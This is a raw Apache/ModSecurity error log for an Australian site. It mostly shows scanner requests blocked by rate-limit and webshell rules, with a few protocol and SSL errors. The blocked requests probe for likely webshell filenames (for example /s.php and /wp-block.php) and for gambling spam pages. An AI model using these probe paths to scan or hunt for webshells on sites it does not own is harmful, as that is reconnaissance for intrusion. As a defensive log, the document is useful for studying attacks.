[Thu Apr 02 07:27:44.476919 2026] [:error] [pid 23927:tid 23947] [client 20.111.63.125:53396] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cnusw.php"] [unique_id "ac2p8EsZwqCndhl9uKBpFAAAAZI"]
[Thu Apr 02 07:27:45.513470 2026] [:error] [pid 59305:tid 59324] [client 20.111.63.125:50117] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dtwpf.php"] [unique_id "ac2p8ar2tV4rDwKFxKcjnQAAAM8"]
[Thu Apr 02 07:27:48.253510 2026] [:error] [pid 59305:tid 59326] [client 20.111.63.125:53968] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dtwpf.php"] [unique_id "ac2p9Kr2tV4rDwKFxKcjoQAAANE"]
[Thu Apr 02 07:27:50.355855 2026] [:error] [pid 59201:tid 59276] [client 20.111.63.125:60876] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dtwpf.php"] [unique_id "ac2p9sAC0Tw8eL6gzZ6XHAAAAIk"]
[Thu Apr 02 07:27:56.211764 2026] [:error] [pid 23927:tid 23933] [client 20.111.63.125:51373] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/dtwpf.php"] [unique_id "ac2p_EsZwqCndhl9uKBpKgAAAYQ"]
[Thu Apr 02 07:28:01.982395 2026] [:error] [pid 23927:tid 23946] [client 20.111.63.125:53383] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac2qAUsZwqCndhl9uKBpOAAAAZE"]
[Thu Apr 02 07:28:03.154707 2026] [:error] [pid 23927:tid 23945] [client 20.111.63.125:57542] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac2qA0sZwqCndhl9uKBpPQAAAZA"]
[Thu Apr 02 07:28:05.029660 2026] [:error] [pid 59305:tid 59330] [client 20.111.63.125:61916] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac2qBar2tV4rDwKFxKcjsAAAANU"]
[Thu Apr 02 07:28:08.008060 2026] [:error] [pid 59201:tid 59276] [client 20.111.63.125:57588] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac2qCMAC0Tw8eL6gzZ6XJQAAAIk"]
[Thu Apr 02 07:28:09.881374 2026] [:error] [pid 23927:tid 23932] [client 20.111.63.125:50121] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ac2qCUsZwqCndhl9uKBpSQAAAYM"]
[Thu Apr 02 07:28:11.350664 2026] [:error] [pid 23927:tid 23950] [client 20.111.63.125:53407] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ac2qC0sZwqCndhl9uKBpTgAAAZU"]
[Thu Apr 02 07:28:12.207157 2026] [:error] [pid 37543:tid 37556] [client 20.111.63.125:6583] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ac2qDHhdk2bEYJCvILY_QAAAAUs"]
[Thu Apr 02 07:28:16.790106 2026] [:error] [pid 59200:tid 59257] [client 20.111.63.125:61946] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ac2qELfP26txrdLs3EoI-QAAAFE"]
[Thu Apr 02 07:28:29.415633 2026] [:error] [pid 29467:tid 29485] [client 20.111.63.125:53997] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "ac2qHb4VUBFCJAq-WOlALQAAAQ8"]
[Thu Apr 02 07:28:34.546707 2026] [:error] [pid 59201:tid 59278] [client 20.111.63.125:54001] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lef.php"] [unique_id "ac2qIsAC0Tw8eL6gzZ6XPAAAAIs"]
[Thu Apr 02 07:28:39.721671 2026] [:error] [pid 59201:tid 59279] [client 20.111.63.125:64522] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lef.php"] [unique_id "ac2qJ8AC0Tw8eL6gzZ6XQQAAAIw"]
[Thu Apr 02 07:28:41.160709 2026] [:error] [pid 23927:tid 23948] [client 20.111.63.125:61895] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lef.php"] [unique_id "ac2qKUsZwqCndhl9uKBphwAAAZM"]
[Thu Apr 02 07:28:42.568054 2026] [:error] [pid 23927:tid 23938] [client 20.111.63.125:53377] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lef.php"] [unique_id "ac2qKksZwqCndhl9uKBpiwAAAYk"]
[Thu Apr 02 07:28:45.301775 2026] [:error] [pid 59200:tid 59250] [client 20.111.63.125:6170] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftde.php"] [unique_id "ac2qLbfP26txrdLs3EoJIAAAAEo"]
[Thu Apr 02 07:28:46.695988 2026] [:error] [pid 37543:tid 37560] [client 20.111.63.125:6559] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftde.php"] [unique_id "ac2qLnhdk2bEYJCvILY_WwAAAU8"]
[Thu Apr 02 07:28:47.950798 2026] [:error] [pid 37543:tid 37552] [client 20.111.63.125:53384] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftde.php"] [unique_id "ac2qL3hdk2bEYJCvILY_YgAAAUc"]
[Thu Apr 02 07:31:37.321548 2026] [:error] [pid 37543:tid 37547] [client 20.111.63.125:53425] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/haz.php"] [unique_id "ac2q2Xhdk2bEYJCvILZAGgAAAUI"]
[Thu Apr 02 07:38:15.654692 2026] [:error] [pid 59201:tid 59288] [client 20.111.63.125:61948] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-upload.php"] [unique_id "ac2sZ8AC0Tw8eL6gzZ6ahwAAAJU"]
[Thu Apr 02 07:38:19.852170 2026] [:error] [pid 29467:tid 29487] [client 20.111.63.125:53386] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-upload.php"] [unique_id "ac2sa74VUBFCJAq-WOlGwQAAARE"]
[Thu Apr 02 07:38:36.240336 2026] [:error] [pid 59201:tid 59268] [client 20.111.63.125:57591] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac2sfMAC0Tw8eL6gzZ6alQAAAIE"]
[Thu Apr 02 07:38:44.481444 2026] [:error] [pid 59305:tid 59322] [client 20.111.63.125:57595] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac2shKr2tV4rDwKFxKclnwAAAM0"]
[Thu Apr 02 07:38:57.892317 2026] [:error] [pid 59305:tid 59309] [client 20.111.63.125:6562] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac2skar2tV4rDwKFxKclsAAAAMA"]
[Thu Apr 02 07:38:59.946892 2026] [:error] [pid 29467:tid 29493] [client 20.111.63.125:6530] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac2sk74VUBFCJAq-WOlHHgAAARc"]
[Thu Apr 02 07:39:30.334126 2026] [:error] [pid 59201:tid 59275] [client 20.111.63.125:61938] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "ac2sssAC0Tw8eL6gzZ6a5gAAAIg"]
[Thu Apr 02 07:39:31.114483 2026] [:error] [pid 59305:tid 59311] [client 20.111.63.125:61898] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "ac2ss6r2tV4rDwKFxKcl0wAAAMI"]
[Thu Apr 02 07:39:32.338296 2026] [:error] [pid 29467:tid 29480] [client 20.111.63.125:61936] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "ac2stL4VUBFCJAq-WOlHggAAAQo"]
[Thu Apr 02 07:39:33.800695 2026] [:error] [pid 23927:tid 23951] [client 20.111.63.125:45119] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "ac2stUsZwqCndhl9uKBuoQAAAZY"]
[Thu Apr 02 07:52:11.822391 2026] [:error] [pid 29467:tid 29479] [client 145.239.69.44:36910] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ac2vq74VUBFCJAq-WOlNxwAAAQk"]
[Thu Apr 02 07:52:14.194506 2026] [:error] [pid 29467:tid 29470] [client 145.239.69.44:53800] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ac2vrr4VUBFCJAq-WOlN0gAAAQA"]
[Thu Apr 02 07:52:16.658946 2026] [:error] [pid 29467:tid 29487] [client 145.239.69.44:53806] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ac2vsL4VUBFCJAq-WOlN2gAAARE"]
[Thu Apr 02 07:52:19.109470 2026] [:error] [pid 29467:tid 29483] [client 145.239.69.44:53810] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ac2vs74VUBFCJAq-WOlN4QAAAQ0"]
[Thu Apr 02 07:52:21.505978 2026] [:error] [pid 59201:tid 59273] [client 145.239.69.44:53822] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ac2vtcAC0Tw8eL6gzZ6d1wAAAIY"]
[Thu Apr 02 07:52:23.811057 2026] [:error] [pid 59200:tid 59244] [client 145.239.69.44:37702] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ac2vt7fP26txrdLs3EoNegAAAEQ"]
[Thu Apr 02 07:52:26.200192 2026] [:error] [pid 37543:tid 37555] [client 145.239.69.44:37714] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ac2vunhdk2bEYJCvILZGnAAAAUo"]
[Thu Apr 02 08:38:59.188855 2026] [ssl:error] [pid 37543:tid 37547] [client 15.204.161.7:29424] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Thu Apr 02 09:20:07.287648 2026] [ssl:error] [pid 59194:tid 59217] [client 15.204.161.7:26722] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
[Thu Apr 02 09:20:56.741461 2026] [:error] [pid 59201:tid 59269] [client 43.133.66.51:43732] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac3EeMAC0Tw8eL6gzZ6rHAAAAII"]
[Thu Apr 02 10:02:06.977145 2026] [:error] [pid 23927:tid 23937] [client 105.99.104.226:61757] [client 105.99.104.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.99.104.226, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ac3OHksZwqCndhl9uKC1jAAAAYg"]
[Thu Apr 02 10:16:39.174526 2026] [:error] [pid 37543:tid 37545] [client 49.51.203.164:47280] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ac3Rh3hdk2bEYJCvILZgNwAAAUA"]
[Thu Apr 02 10:23:23.271438 2026] [:error] [pid 59201:tid 59273] [client 51.75.128.50:35434] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ac3TG8AC0Tw8eL6gzZ6zMAAAAIY"]
[Thu Apr 02 10:23:25.700645 2026] [:error] [pid 23927:tid 23951] [client 51.75.128.50:33392] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ac3THUsZwqCndhl9uKDAbAAAAZY"]
[Thu Apr 02 10:23:28.206494 2026] [:error] [pid 23927:tid 23952] [client 51.75.128.50:33402] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ac3TIEsZwqCndhl9uKDAfgAAAZc"]
[Thu Apr 02 10:23:30.708751 2026] [:error] [pid 23927:tid 23942] [client 51.75.128.50:43000] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac3TIksZwqCndhl9uKDAjQAAAY0"]
[Thu Apr 02 10:23:33.193005 2026] [:error] [pid 54384:tid 54389] [client 51.75.128.50:43004] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac3TJdWWpaby3TVN7MddvwAAAcM"]
[Thu Apr 02 10:23:35.683228 2026] [:error] [pid 54384:tid 54391] [client 51.75.128.50:43012] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "ac3TJ9WWpaby3TVN7MddxQAAAcU"]
[Thu Apr 02 10:23:38.196729 2026] [:error] [pid 54384:tid 54408] [client 51.75.128.50:43014] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "ac3TKtWWpaby3TVN7MddygAAAdY"]
[Thu Apr 02 10:23:40.679484 2026] [:error] [pid 59201:tid 59278] [client 51.75.128.50:52780] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ac3TLMAC0Tw8eL6gzZ6zNgAAAIs"]
[Thu Apr 02 10:23:43.163735 2026] [:error] [pid 23927:tid 23932] [client 51.75.128.50:52790] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ac3TL0sZwqCndhl9uKDAqwAAAYM"]
[Thu Apr 02 10:23:45.620080 2026] [:error] [pid 29467:tid 29473] [client 51.75.128.50:52802] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ac3TMb4VUBFCJAq-WOl4PAAAAQM"]
[Thu Apr 02 10:23:48.115514 2026] [:error] [pid 59200:tid 59250] [client 51.75.128.50:52818] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ac3TNLfP26txrdLs3EoeTAAAAEo"]
